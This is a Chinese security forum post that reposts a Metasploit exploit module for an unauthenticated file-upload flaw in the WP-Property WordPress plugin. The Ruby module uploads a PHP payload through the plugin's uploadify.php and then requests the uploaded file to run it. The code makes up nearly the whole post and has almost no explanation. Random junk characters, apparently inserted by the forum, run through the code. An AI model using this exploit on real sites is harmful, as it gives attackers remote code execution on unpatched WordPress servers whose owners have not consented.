找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2452|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
* i* V! k$ s! d9 D1 V) V0 G4 |4 f9 M  X8 C( M$ U
## # This file is part of the Metasploit Framework and may be subject to' b0 w3 W3 Y$ }: r* R

% `- g/ Y- f: i# p2 o$ B( D# redistribution and commercial restrictions. Please see the Metasploit
: q/ u% n4 c& p& n& T9 R
' H1 y' [1 T& n, ]9 M# Framework web site for more information on licensing and terms of use.
" o! c! [% o  o: S7 \- I% G" H7 d7 v/ o3 [! |9 @2 G
#   http://metasploit.com/framework/ ##
9 w5 [" V1 `: t( f$ N$ O0 q& R: w4 X4 H, z
! t6 |8 u" h. d9 |$ M4 K

; n0 ^5 c% t9 ~( v
0 M, G  M+ a  @7 G& G. h
* |# O" K$ ^2 w! x8 \$ lrequire 'msf/core'
. V- j% Q6 [" j' a8 y3 j  [require 'msf/core/exploit/php_exe'+ N  h& p  ?5 i" v4 u2 n0 Q
$ _' b+ Q6 s5 {/ n( K5 P
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',5 N! B3 Y! r% X$ B7 r
'Description'    => %q{* f& E2 C# [- `) A7 R0 e
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>) w, D8 b5 u, V% G5 R8 d: Y) j. N
[* U1 y: r4 s0 m  f
'Sammy FORGIT', # initial discovery
- ]9 z$ l6 {+ X1 I% ?'James Fitts <fitts.james[at]gmail.com>' # metasploit module
% j1 E# }  q4 y],
* v+ @' F. T8 f( L7 m0 u'License'        => MSF_LICENSE,
6 {9 G' V# _" H'References'     =>3 p6 F7 e& @- I
[1 Z! t* U  U$ z/ n
[ 'OSVDB', '82656' ],
" }* c% y1 }7 h" Y0 A8 [[ 'BID', '53787' ],& g) j  U6 D2 w
[ 'EDB', '18987'],3 P! m! v! k$ A$ U5 t7 V
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
2 K' a( o0 t. ]' G/ H$ |. N- P],( s! k  a! Y- V5 B
'Payload'        =>
; U6 _/ C$ Y9 \{, |; X3 j1 R& l. K
'BadChars' => "\x00",
6 p4 P$ ^+ h7 q},  w5 R9 u) g' F4 W0 E7 u+ O
'Platform'       => 'php',
* }) f3 ]0 b9 ^'Arch'           => ARCH_PHP,* i& C- J* Q5 T
'Targets'        =>
# @3 k& o" O* O! w/ l1 W[+ t7 [" f* f) k- q- |8 h, q
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
, F# E( i: y9 r6 g9 [3 T0 N[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
+ P% _& n0 n" E],& X# |( l* _0 Y2 p3 h
'DefaultTarget'  => 0,
) F/ b8 A# `1 {: K6 N'DisclosureDate' => 'Mar 26 2012'))
  {' d4 b( K4 u6 k% q8 b. r# d! ^8 Z; l$ g7 B
register_options(
$ R, E; t1 y9 e7 X& n% |4 Q& w3 p[( q+ y- v' b6 l  ~0 Z) M* R. s
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])" i4 J5 K- x1 Y1 h" Q) \
], self.class)
2 x  N8 U7 x* a" c2 p6 I& send% d9 a$ d6 X6 r; z: P1 x0 S" n

' z# H3 i/ b* L' N$ R5 G% udef check" h! b0 {& V) R$ S, m
uri =  target_uri.path
" v6 b% T; ]$ m* Buri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',/ e, J, T  L, O7 @* l& T
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"& H9 `+ H6 ?9 @8 F* Q
})" P; Q0 x) G. H/ t/ G3 Q
6 Q- \/ }6 c& x$ V" C+ @
if not res or res.code != 200) y/ O/ m2 ^: R
return Exploit::CheckCode::Unknown" x; z4 K) k( e  h( y
end' _( H1 L! U1 g9 f; {  Z8 ~1 C

1 z% s! n9 N# M: s* [return Exploit::CheckCode::Appears1 f. T0 m; N" \" N  l+ ?
end) o/ F& k& i5 y. a
) R* C  k* ?" X
def exploit
/ A( e4 k6 k' }- Suri =  target_uri.path; \- v5 W$ e5 J+ c  _" v+ {1 Z
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)7 f. S$ p: ~. X1 c, b; w( [
6 P% ~  E9 B3 Z' p& i
data = Rex::MIME::Message.new
1 `' {# H0 ]+ q# `! b0 F2 ~data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")- q+ Y3 o9 C, Y& I
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
* n9 ~5 _1 F. A1 m! Lpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
6 A- y1 G& Q  o  u3 m  z1 ]3 A/ Y9 k
print_status("#{peer} - Uploading payload #{@payload_name}")3 ]+ p% }% Q, ^) O4 v* X
res = send_request_cgi({
7 U8 _$ j/ h7 l6 Z'method' => 'POST',; ]4 Y. a' |6 \( _
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",) z' s1 f# M  e$ b, n$ k
'ctype'  => "multipart/form-data; boundary=#{data.bound}",
* c- {1 U* y" k% z'data'   => post_data
1 c1 d9 P. U" [, X3 ?})
. P( s. X6 _2 A6 K: X- K8 p7 t# x
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
( L% q. Y* m8 Z+ U- {  \7 t! Qfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"), n7 W6 N% F" d- \' s* V
end
3 P& Z5 W/ A8 _* Y! u1 a: f+ o! N9 ]; R
upload_uri = res.body
& K' r7 T+ S/ C! r  Q& ?9 _% T/ ~( o" G+ P- J, S' B  P
print_status("#{peer} - Executing payload #{@payload_name}")7 K! i! R% D; B4 c! k1 M
res = send_request_raw({
' d! m2 d% T3 w# T+ d+ C# Y' \'uri'    => upload_uri,3 L1 P4 \" N% ^- g( z  [+ Y
'method' => 'GET') G$ o  d4 k0 g4 ~  C
})( p& h. U$ p/ w; b0 |& {
end
: A, g/ d6 i: P6 Qend- [; O' V6 o: z! h* s7 I
8 c. G0 `' r$ n7 h" s
不要问我这写的是什么 怎么利用 我是说msf.- H. T7 m, Q* N' V/ Q/ w
- e/ z; w3 W& J, y  |/ {+ t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表